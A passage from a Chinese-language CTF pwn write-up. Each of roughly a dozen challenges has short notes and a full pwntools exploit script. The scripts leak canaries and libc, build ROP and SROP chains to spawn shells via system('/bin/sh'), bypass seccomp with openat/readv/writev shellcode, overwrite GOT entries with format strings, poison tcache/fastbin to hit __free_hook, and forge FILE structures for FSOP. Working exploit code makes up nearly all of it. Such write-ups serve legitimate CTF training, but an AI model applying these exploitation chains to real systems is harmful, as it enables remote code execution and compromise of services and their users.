print(str(recv[2:]))
canary = int(recv.decode(), 16)
success(f"Canary -> {hex(canary)}")

p.recvuntil(b'!\n')
# gdb.attach(p)
p.send(b'%33$p\n'.ljust(8, b'\x00'))

recv = p.recvline()
libc_base = int(recv.strip().decode(), 16) - (libc.sym['__libc_start_main'] + 128)
success(f"libc_base -> {hex(libc_base)}")

p.recvuntil(b'!\n')
p.send(b'end\n')

p.recvuntil(b'QwQ:')
payload = b'\x00'*40 + p64(canary) + p64(0) + p64(libc_base + 0x02a3e5) + p64(libc_base + 0x1d8678) + p64(0x40101a) + p64(libc_base + libc.sym['system'])
p.send(payload)

p.interactive()

sandbox_plus

操作内容：

seccomp-tools dump查看，发现禁用了execve和常规orw

这里使用openat+readv+writev

这里内存开在了0x114000~0x115000

需要提前把iov结构体放在某个地方

from pwn import *

context(arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']

# p = process('./sandbox_plus')
p = remote('xxx', xxx)

# gdb.attach(p)

# struct iovec{
#     void __user* iov_base;
#     __kernel_size_t iov_len;
# }

shellcode = shellcraft.openat(-100, "./flag", 0, 0) # AT_FDCWD(-100)，指定路径为当前路径
shellcode += f'''
    mov qword ptr [0x114200], 0x114300
    mov qword ptr [0x114208], 0x30
'''
shellcode += shellcraft.readv(3, 0x114200, 1)
shellcode += shellcraft.writev(1, 0x114200, 1)


print(shellcode)

p.sendafter(b')\n', asm(shellcode))

p.interactive()

calc_meow

操作内容：

程序开启了PIE，首先想方法获得程序基址

调试发现calc()里rip位置指向 (main + 245) 位置

由于调用show_numbers()后只能修改一次，必须通过计算的方法放入数据

泄露libc地址后，使用ret2libc

from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]

# p = process('./calc')
p = remote('xxx', xxx)
elf = ELF('./calc')
libc = ELF('./libc.so.6')

ret = 0x00101a
rdi_ret = 0x001d11

def edit(index, value):
    if value == 0:
        return
    p.sendafter(b'> ', b'2')
    p.sendafter(b'> ', str(index).encode())
    p.sendafter(b'> ', str(value).encode())

def add(index1, index2, index3):
    p.sendafter(b'> ', b'1')
    p.sendafter(b'> ', str(index1).encode())
    p.sendafter(b'> ', str(index2).encode())
    p.sendafter(b'> ', str(index3).encode())

def sub(index1, index2, index3):
    p.sendafter(b'> ', b'2')
    p.sendafter(b'> ', str(index1).encode())
    p.sendafter(b'> ', str(index2).encode())
    p.sendafter(b'> ', str(index3).encode())

edit(16, elf.sym['main'] + 245)
edit(15, rdi_ret)
edit(1, elf.got['puts'])
edit(2, elf.plt['puts'])
edit(3, elf.sym['main'])

p.sendafter(b'> ', b'4') # enter calc

sub(0, 16, 16) # 16 -> p_base
for i in range(1, 4):
    add(i, 16, i)
add(15, 16, 0)

p.sendafter(b'> ', b'6') # leave calc

libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
log.success(f'libc_base ----> {hex(libc_base)}')


edit(0, libc_base + 0xebd43) # one_gadget

p.interactive()

only_read

操作内容：

程序禁用了execve，使用orw

gift()提供了srop的机会和syscall ; ret

利用main的两次read，可以实现栈迁移

流程：栈迁移 -> ret gift -> 设置寄存器 -> syscall ; ret -> gift ...

from pwn import *

context(arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

# p = process('./srop')
p = remote('xxx', xxx)
elf = ELF('./srop')

bss = elf.bss(0x200)
syscall_ret = 0x40136D
gift = 0x401366

payload = b'\x00'*0x10 + p64(bss - 0x30) + p64(0x401349)
p.send(payload)

sleep(1)

payload = p64(bss - 0x10)*3 + p64(gift)
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = bss - 0x8
frame.rdx = 0x400
frame.rsp = bss
frame.rbp = bss + 0x100
frame.rip = syscall_ret
payload += bytes(frame)
p.send(payload[:0x100])

payload = p64(0x67616c662f2e) # "./flag" <- bss - 0x8
payload += p64(gift) # <- bss
frame = SigreturnFrame()
frame.rax = constants.SYS_open
frame.rdi = bss - 0x8
frame.rsi = 0
frame.rdx = 0
frame.rsp = bss + 0x100 # 刚好到下面的gift地址
frame.rbp = bss + 0x100 + 0x100
frame.rip = syscall_ret
payload += bytes(frame)
payload += p64(gift)
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 3
frame.rsi = bss - 0x100 # 文件内容 <- bss - 0x100
frame.rdx = 0x30
frame.rsp = bss + 0x100 + 0x100
frame.rbp = bss + 0x100 + 0x100 + 0x100
frame.rip = syscall_ret
payload += bytes(frame)
payload += p64(gift)
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = 1
frame.rsi = bss - 0x100
frame.rdx = 0x30
frame.rip = syscall_ret
payload += bytes(frame)
p.send(payload)


p.interactive()

小的明？题问

操作内容：

注意到 user* users; int user_counts, user_size; 在所有线程共用

且没有限制同一个账号的登录

于是随意注册一个账号，用两个客户端同时登录，两次删除

这样就把user_counts降为0，相当于删除了root账号

此时再注册root账号，拿到flag

Week 4

fmt and got

操作内容：

程序是No RELRO，意味着可以随意修改got表

存在后门函数read_flag

所以通过%x$hnn修改单字节来把got_exit改为read_flag地址

from pwn import *

context.arch = "amd64"
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.bits = 64

# p = process('./fmt_got')
p = remote('xxx', xxx)
elf = ELF('./fmt_got')

# payload = fmtstr_payload(??, {elf.got['exit']: elf.sym['read_flag']})

# read_flag <- 0x401236 (0x36->54, 0x112->274)
# "That's what you want to say...    " -> len = 34

payload = b'%20x%14$hhn%220x%15$hhn' # len = 23
payload += b'\x00'*7 # len = 7
payload += p64(0x403430) + p64(0x403431) # 64 => 8+6=14


print(payload)

# gdb.attach(p)

p.sendafter(b'\n> ', payload)

p.interactive()

memory

操作内容：

程序读入了/flag文件，并映射到内存某个位置

之后读入内容放入flag后，使用mprotect使对应位置可执行

沙箱仅允许write和exit

之后清空了所有寄存器，只留rip

在gdb中用search搜索flag，发现就在rip前面一点

from pwn import *

context.arch = "amd64"
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]

# p = process('./memory')
p = remote('xxx', xxx)

p.recvuntil(b" > ")

shellcode = '''

    lea rsp, [rip-0x50]
    mov al, 1
    mov dil, 1
    mov rsi, rsp
    mov rdx, 0x60
    syscall


'''

# gdb.attach(p)

p.send(asm(shellcode))

p.interactive()

海市蜃楼

操作内容：

city函数放在.init_array段中，在main前执行

其将一些随机字节放入0x10000~0x50000并设为可执行

通过get_sands获得随机种子，如果使用相同随机数生成器就可以得到相同结果

这里使用python的ctypes.CDLL

在随机数据中寻找pop rdi; ret来传参，然后ret2libc

from pwn import *
import ctypes

libc_dll = ctypes.CDLL("./libc.so.6")

context.arch = "amd64"
# context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.bits = 64

# p = process('./desert')
p = remote('xxx', xxx)
elf = ELF('./desert')
libc = ELF('./libc.so.6')

ret = 0x40101a

shellcode = '''
    pop rdi
    ret
''' # => 95 195

# for c in asm(shellcode):
#     print(c)

p.sendlineafter(b'>> ', b'1')
p.recvuntil(b'?? ')
seed = int(p.recvline().decode().split(' ')[0])
log.success(f'seed ---> {seed}')
libc_dll.srand(seed)

L = []
for i in range(0x3FFFF+1):
    L.append(libc_dll.rand() % 256)

pop_rdi_ret = 0
for i in range(0x3FFFF+1):
    if L[i] == 95 and L[i+1] == 195:
        pop_rdi_ret = i
        break

if pop_rdi_ret == 0:
    log.error("Not Found!")
    exit(0)

log.success(f'pop_rdi_ret ---> {pop_rdi_ret}')

p.sendlineafter(b'>> ', b'2')
p.recvuntil(b'>> ')

payload = b'A'*(0x50+8) + p64(0x10000 + pop_rdi_ret) + p64(elf.got['read']) + p64(ret) + p64(elf.sym['my_puts']) + p64(0x401563)
p.send(payload)

s = b''
for i in range(6):
    s += p.recv(1)

libc_base = u64(s.ljust(8, b'\x00')) - libc.sym['read']
log.success(f'libc_base ---> {hex(libc_base)}')


p.recvuntil(b'>> ')

payload = b'A'*(0x50) + p64(0) + p64(0x10000 + pop_rdi_ret) + p64(libc_base + 0x1d8678) + p64(ret) + p64(libc_base + libc.sym['system'])

# gdb.attach(p)

p.send(payload)

p.interactive()

calc_queen

操作内容：

基本找不到稳定的传参方法，无法直接泄露任何地址

已知main对应栈帧下方有__libc_start_main+128的地址

如果能把main栈帧搞到下面，就可以用calc()计算出libc地址

这里找到了add rsp, 8和pop rbp; ret

在main中使用add rsp, 8并回到main，再进入edit()

就能使edit的栈帧和s[]有部分重叠，使用calc()就能将main的rbp放入s[]

再用pop rbp; ret，就可以成功将栈向下移动32位

重复这个过程，注意向下移动时要迁移保留程序基址

from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]

# p = process('./calc')
p = remote('xxx', xxx)
elf = ELF('./calc')
libc = ELF('./libc.so.6')

pop_rbp_ret = 0x001293
add_rsp_ret = 0x001CBC
rdi_ret = 0x001d11

def edit(index, value):
    p.sendafter(b'> ', b'2')
    p.sendafter(b'> ', str(index).encode())
    p.sendafter(b'> ', str(value).encode())

def edit2(index, value):
    p.sendafter(b'> ', str(index).encode())
    p.sendafter(b'> ', str(value).encode())

def add(index1, index2, index3):
    p.sendafter(b'> ', b'1')
    p.sendafter(b'> ', str(index1).encode())
    p.sendafter(b'> ', str(index2).encode())
    p.sendafter(b'> ', str(index3).encode())

def sub(index1, index2, index3):
    p.sendafter(b'> ', b'2')
    p.sendafter(b'> ', str(index1).encode())
    p.sendafter(b'> ', str(index2).encode())
    p.sendafter(b'> ', str(index3).encode())

edit(8, elf.sym['main'] + 240)
# edit(1, elf.bss(16))
# edit(2, 0x001C4E)
edit(2, 0x001C4E) # edit
edit(1, add_rsp_ret) # add rsp, 8 ; ret

p.sendafter(b'> ', b'4') # enter calc

sub(0, 8, 8) # 8 -> p_base
add(2, 8, 2)
add(1, 8, 0)

p.sendafter(b'> ', b'6') # leave calc

# ------------------------------------

edit2(7, 32)
edit(5, pop_rbp_ret)
edit(4, add_rsp_ret)
edit(6, 0x001C4E)

p.sendafter(b'> ', b'4') # enter calc

add(1, 3, 3) # 3 -> rbp
add(3, 7, 3) # rbp += 8
add(5, 8, 2) # pop rbp ; ret
add(4, 8, 4) # add rsp, 8 ; ret
add(6, 8, 6)

p.sendafter(b'> ', b'6') # leave calc

# ------------------------------------

edit2(7, 32)
edit(8, 0)
edit(6, 0x001C4E)
edit(3, add_rsp_ret)
edit(5, pop_rbp_ret)

p.sendafter(b'> ', b'4') # enter calc

add(4, 8, 8) # 8 -> p_base
add(3, 8, 4) # add rsp, 8 ; ret
sub(3, 3, 3) # 3 = 0
add(1, 3, 3) # 3 -> rbp
add(3, 7, 3) # rbp += 8
add(5, 8, 2) # pop rbp ; ret
add(6, 8, 6)

p.sendafter(b'> ', b'6') # leave calc

# ------------------------------------

edit2(7, 32)
edit(8, 0)
edit(6, 0x001C4E)
edit(3, add_rsp_ret)
edit(5, pop_rbp_ret)

p.sendafter(b'> ', b'4') # enter calc

add(4, 8, 8) # 8 -> p_base
add(3, 8, 4) # add rsp, 8 ; ret
sub(3, 3, 3) # 3 = 0
add(1, 3, 3) # 3 -> rbp
add(3, 7, 3) # rbp += 8
add(5, 8, 2) # pop rbp ; ret
add(6, 8, 6)

p.sendafter(b'> ', b'6') # leave calc

# ------------------------------------

edit2(7, 32)
edit(8, 0)
edit(6, 0x001C4E)
edit(3, add_rsp_ret)
edit(5, pop_rbp_ret)

p.sendafter(b'> ', b'4') # enter calc

add(4, 8, 8) # 8 -> p_base
add(3, 8, 4) # add rsp, 8 ; ret
sub(3, 3, 3) # 3 = 0
add(1, 3, 3) # 3 -> rbp
add(3, 7, 3) # rbp += 8
add(5, 8, 2) # pop rbp ; ret
add(6, 8, 6)

p.sendafter(b'> ', b'6') # leave calc

# ------------------------------------

edit2(7, 32)
edit(8, 0)
edit(6, 0x001C4E)
edit(3, add_rsp_ret)
edit(5, pop_rbp_ret)

p.sendafter(b'> ', b'4') # enter calc

add(4, 8, 8) # 8 -> p_base
add(3, 8, 4) # add rsp, 8 ; ret
sub(3, 3, 3) # 3 = 0
add(1, 3, 3) # 3 -> rbp
add(3, 7, 3) # rbp += 8
add(5, 8, 2) # pop rbp ; ret
add(6, 8, 6)

p.sendafter(b'> ', b'6') # leave calc

# ------------------------------------

edit2(7, 32)
edit(8, 0)
edit(6, 0x001C4E)
edit(3, add_rsp_ret)
edit(5, pop_rbp_ret)

p.sendafter(b'> ', b'4') # enter calc

add(4, 8, 8) # 8 -> p_base
add(3, 8, 4) # add rsp, 8 ; ret
sub(3, 3, 3) # 3 = 0
add(1, 3, 3) # 3 -> rbp
add(3, 7, 3) # rbp += 8
add(5, 8, 2) # pop rbp ; ret
add(6, 8, 6)



p.sendafter(b'> ', b'6') # leave calc

# ------------------------------------

edit2(7, libc.sym['__libc_start_main']+128)
edit(6, 0x02a3e5)
edit(3, 0x1d8678)
edit(5, libc.sym['system'])
edit(4, 0x029139)

p.sendafter(b'> ', b'4') # enter calc

sub(8, 7, 7)
add(6, 7, 2)
add(3, 7, 3)
add(4, 7, 4)
add(5, 7, 5)

# gdb.attach(p)

p.sendafter(b'> ', b'6') # leave calc

# edit(0, libc_base + 0xebd43) # one_gadget

p.interactive()

Week 5

go?

操作内容：

这是一个Befunge解释器

原始指令表如下：（为了对齐，把\n改为:）

v       ,*25    <
"v       <    
:>~:25* -|v < 
t,          , 
u,       >>:| 
p,          >   ^
n,  
i,
",
>^

效果为输出input\n，读入直到\n并复读

明显存在模拟栈上的溢出，可修改到指令表

由于按QWORD存入，溢出' >&&&p<\n'后得到

                >       &       &       &       p       <
              
:>~:25* -|v < 
t,          , 
u,       >>:| 
p,          >   ^
n,  
i,
",
>^

实现程序的修改

再得到

                >       &       &       &       p       v
                ^,g&&                                   <
                ^                                       <

由于p, g没有对参数检查，实现任意程序内地址的读写

读取stdout泄露libc基址

尝试将.got.plt的地址改为one gadget，均不可用（应该吧）

发现&功能可以将输入的数字放入rdi，从而控制rdi

将rand的got地址改为system (因为rand本身无参数)

输入/bin/sh的地址

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# p = process('./chal')
p = remote('xxx', xxx)
libc = ELF('./libc.so.6')

def edit1(row, column, c):
  p.sendline(str(ord(c)).encode())
  p.sendline(str(row).encode())
  p.sendline(str(column).encode())
  p.send(b'9\n9\n9\n')

def edit(row = 9, column = 9, c = '9'):
  p.sendline(str(ord(c)).encode())
  p.sendline(str(row).encode())
  p.sendline(str(column).encode())

def edit2(row, column, c):
  p.sendline(str(c).encode())
  p.sendline(str(row).encode())
  p.sendline(str(column).encode())

def show(row = 9, column = 9):
  p.sendline(str(column).encode())
  p.sendline(str(row).encode())



p.send(b'A'*255 + b'  >&&&p<\n')

p.recvuntil(b'A'*255)

edit1(1, 16, '^')
edit1(1, 17, ',')
edit1(1, 18, 'g')
edit1(1, 19, '&')
edit1(1, 20, '&')
edit1(1, 56, '<')
edit1(2, 16, '^')
edit1(2, 56, '<')

# gdb.attach(p, 'b *$rebase(0x001847)\n')

edit(0, 56, 'v')
show(0, -2112)
edit()
show(0, -2111)
edit()
show(0, -2110)
edit()
show(0, -2109)
edit()
show(0, -2108)
edit()
show(0, -2107)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['_IO_2_1_stdout_']
log.success(f"libc_base -> {hex(libc_base)}")

edit(1, 56, 'v')

addr = libc_base + libc.sym['system']
print(hex(addr))

edit2(0, -2280, addr % 256)
addr //= 256
edit2(0, -2279, addr % 256)
addr //= 256
edit2(0, -2278, addr % 256)
addr //= 256
edit2(0, -2277, addr % 256)
addr //= 256
edit2(0, -2276, addr % 256)
addr //= 256
edit2(0, -2275, addr % 256)

# gdb.attach(p)

edit(0, 55, '&')
p.sendline('0'.encode())
edit(0, 56, '?')
p.sendline(str(libc_base + next(libc.search('/bin/sh'))).encode())

p.interactive()

复读机堂堂归来！复读机堂堂归来！

操作内容：

读入的内容放在了bss段，printf格式化漏洞只能利用栈上原本的信息

存在后门函数win()

按照这个路径修改，先用%6$(h)hn把蓝色箭头所指位置改为rip栈上位置，再通过%26$hhn把rip改为win地址

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

p = process('./bss_fmt')
# p = remote('xxx', xxx)

p.recvuntil(b'!\n')

p.recvuntil(b'!\n')
p.sendline(b'%p')
p_base = int(p.recvline(keepends=False), 16) - 0x004060
log.success(f'p_base -> {hex(p_base)}')

p.recvuntil(b'!\n')
p.sendline(b'%p %p %p %p %p %p')
rip = int(p.recvline(keepends=False).decode().split(' ')[-1], 16) - 0x98
log.success(f'rip -> {hex(rip)}')

# gdb.attach(p)

win = p_base + 0x001289
log.success(f'win -> {hex(win)}')

p.recvuntil(b'!\n')
p.sendline(f'%{rip%(256*256)}c%6$hn'.encode())

p.recvuntil(b'!\n')
p.sendline(f'%{win%256}c%26$hhn'.encode())
win //= 256

p.recvuntil(b'!\n')
p.sendline(f'%{rip%256+1}c%6$hhn'.encode())

p.recvuntil(b'!\n')
p.sendline(f'%{win%256}c%26$hhn'.encode())
win //= 256

p.recvuntil(b'!\n')
p.sendline(f'%{rip%256+2}c%6$hhn'.encode())

p.recvuntil(b'!\n')
p.sendline(f'%{win%256}c%26$hhn'.encode())
win //= 256

p.recvuntil(b'!\n')
p.sendline(f'%{rip%256+3}c%6$hhn'.encode())

p.recvuntil(b'!\n')
p.sendline(f'%{win%256}c%26$hhn'.encode())
win //= 256

p.recvuntil(b'!\n')
p.sendline(f'%{rip%256+4}c%6$hhn'.encode())

p.recvuntil(b'!\n')
p.sendline(f'%{win%256}c%26$hhn'.encode())
win //= 256

p.recvuntil(b'!\n')
p.sendline(f'%{rip%256+5}c%6$hhn'.encode())

p.recvuntil(b'!\n')
p.sendline(f'%{win%256}c%26$hhn'.encode())

# gdb.attach(p)

p.interactive()

Pwn the world

操作内容：

一个比较暴力的解法，通过elf.disasm强行获取参数

chal总共有5种情况

值得注意的是，循环位移那题scanf %lld读入时要考虑符号位

from pwn import *
import z3

context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

io = remote('xxx', xxx)

def decrypt(v2, constant):
    solver = z3.Solver()
    
    v1 = z3.BitVec('v1', 64)
    c = z3.BitVecVal(constant, 64)
    target = z3.BitVecVal(v2, 64)

    value = v1
    for i in range(1, 17):
        value = (value >> 64 - i) ^ (value << i) ^ c
    
    solver.add(value == target)

    if solver.check() == z3.sat:
        model = solver.model()
        return model[v1].as_long()
    else:
        print("ERROR")
        exit(1)

io.send(b'\n')

for i in range(1, 10001):
    io.recvuntil(f'Please input the payload of level{i}\n'.encode())
    elf = ELF(f'./bins/chal{i}')
    data = elf.get_section_by_name('.data').data().lstrip(b'\x00')
    pos = data.find(b'\x00')
    username = data[0:pos].ljust(0x30, b'\x00')
    data = data[pos:].lstrip(b'\x00')
    pos = data.find(b'\x00')
    password = data[0:pos].ljust(0x30, b'\x00')
    payload = username + password

    core = elf.disasm(elf.sym['core'], 200)
    # print(core)

    rodata = elf.get_section_by_name('.rodata').data()

    if b'your gift' in rodata:
        pos = core.find('movabs rax, ')
        core = core[pos+12:]
        pos = core.find('rax, [rbp-')
        core = core[pos+10:]
        pos = core.find(']')
        sz = int(core[0:pos], 16) - 8
        pos = core.find('movabs rax, ')
        core = core[pos+12:]
        pos = core.find('\n')
        v = int(core[0:pos], 16)
        # print(sz)
        payload += b'\x00'*sz + p64(v)
    elif b'my gift' in rodata:
        pos = core.find('ax, 0x')
        core = core[pos+6:]
        pos = core.find('ax, 0x')
        core = core[pos+6:]
        pos = core.find('ax, 0x')
        core = core[pos+6:]
        pos = core.find('\n')
        sz = int(core[0:pos], 16)
        payload += (str(0x402000+rodata.find(b'LEVEL PASS')).encode() + b'\n') * (sz+1)
        payload += b'a\n'
    elif b'%lld' in rodata:
        pos = core.find('movabs rax, ')
        core = core[pos+12:]
        pos = core.find('\n')
        v2 = int(core[0:pos], 16)
        pos = core.find('ax, 0x')
        core = core[pos+4:]
        pos = core.find('ax, 0x')
        core = core[pos+4:]
        pos = core.find('ax, 0x')
        core = core[pos+4:]
        pos = core.find('\n')
        c = int(core[0:pos], 16)
        # print(hex(v2))
        # print(hex(c))
        num = decrypt(v2, c)
        # print(num)
        # print(hex(num))
        if num > 0x7FFFFFFFFFFFFFFF:
            # 使用二补码转换：负数值 = 目标值 - 2^64
            num = num - (1 << 64)
        payload += str(num).encode() + b'\n'
    elif 'backdoor' in elf.symbols:
        pos = core.find('[rbp-')
        core = core[pos+5:]
        pos = core.find(']')
        sz = int(core[0:pos], 16)
        payload += b'A'*(sz+8) + p64(elf.sym['backdoor']) + b'a\n'

    payload += b'EOF\n'

    io.send(payload)
    log.success(i)

    # p = process(f'./bins/chal{i}')
    # # gdb.attach(p, 'b core\nc\n')
    # p.send(payload)
    # p.interactive()

io.interactive()

note

操作内容：

有无限制UAF漏洞

（这题想复杂了，UAF直接改tcache链表就能直接申请到__free_hook，不过如果没有edit功能的话应该可以这么做）

用unsorted bin泄露libc基址

申请9个小块，释放7个填满tcache，然后fastbin dup改__free_hook

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# p = process('./pwn')
p = remote('xxx', xxx)

def malloc(index, size, content):
    p.sendlineafter(b'input your choice >>> ', b'1')
    p.sendlineafter(b'input index: ', str(index).encode())
    p.sendlineafter(b'input size: ', str(size).encode())
    p.sendafter(b'input your note: ', content)

def edit(index, content):
    p.sendlineafter(b'input your choice >>> ', b'2')
    p.sendlineafter(b'input index: ', str(index).encode())
    p.sendafter(b'input your new note: ', content)

def show(index):
    p.sendlineafter(b'input your choice >>> ', b'3')
    p.sendlineafter(b'input index: ', str(index).encode())

def free(index):
    p.sendlineafter(b'input your choice >>> ', b'4')
    p.sendlineafter(b'input index: ', str(index).encode())

malloc(14, 0x500, b"123")
malloc(15, 0x70, b"123")
# malloc(3, 0x70, b"123")
free(14) # unsorted bin
show(14)

p.recvuntil(b'now, show the note: ')
addr = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f"addr -> {hex(addr)}")

for i in range(9): # 0-8
  malloc(i, 0x18, b"aaaa")

for i in range(7): # 0-6
  free(i)

free(7)
free(8)
free(7)
  
for i in range(7): # 0-6
  malloc(i, 0x18, b"aaaa")

malloc(8, 0x18, p64(addr+0x1C48)) # __free_hook

malloc(9, 0x18, b'/bin/sh')

malloc(10, 0x18, b'AAAAA')

malloc(11, 0x18, p64(addr-3786880)) # system

# gdb.attach(p)

free(9)

p.interactive()

stdout

操作内容：

读入0xF0大小进stdout

对vtable偏移，使得原本调用__xsputn变成

_IO_wfile_jumps -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode

_lock位置要可读可写（这里用了原来的）

_IO_wfile_seekoff取[fp + 0xa0]作为rax1

这里需要满足几个条件

①

[rax + 0x10]位置小于[rax + 8]位置

②

[rax + 0x20]位置大于[rax + 0x18]位置

_IO_switch_to_wget_mode取[rax1 + 0xe0]作为rax2

再call [rax2 + 0x18]存放的函数地址，rdi为fp，也就是_flags

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process('./FILE')
# p = remote('39.106.48.123', 31448)
elf = ELF('./FILE')
libc = ELF('./libc.so.6')

p.recvuntil(b'The file You are writing to is: ')
stdout_addr = int(p.recvline(keepends=False).decode(), 16)
log.success(hex(stdout_addr))
libc_base = stdout_addr - libc.sym['_IO_2_1_stdout_']
log.success(f'libc_base -> {hex(libc_base)}')

# libc_base + next(libc.search(b'/bin/sh'))
payload = p64(0x68732f6e69622f) # _flags = rdi
payload += p64(0) # read ptr
payload += p64(1) # read end
payload += p64(0) # read base
payload += p64(2) # write base
payload += p64(3) # write ptr
payload += p64(0) # write end
payload += p64(0) # buf base
payload += p64(0) # buf end
payload += p64(0) # save base
payload += p64(0) # backup base
payload += p64(libc_base + libc.sym['system']) # save end = call addr = "rax2 + 0x18"
payload += p64(0) # _markers
payload += p64(0) # _chain
payload += p64(0) # _fileno
payload += p64(0) # _old_offset
payload += p64(0) # _cur_column
payload += p64(libc_base + 0x21B730) # _lock
payload += p64(0) # _offset
payload += p64(0) # _codecvx
payload += p64(stdout_addr + 0x8) # _wfile_data rax1 "0xa0"
payload += p64(0) # _freers_list
payload += p64(0) # _freers_buf
payload += p64(0) # __pad5
payload += p32(0) # _mode
payload += b'\x00'*20 # _unused2
payload += p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x10)
payload += p64(0) # padding
payload += p64(stdout_addr + 0x40) # rax2

# gdb.attach(p, 'b _IO_wfile_seekoff\n')

p.send(payload)

p.interactive()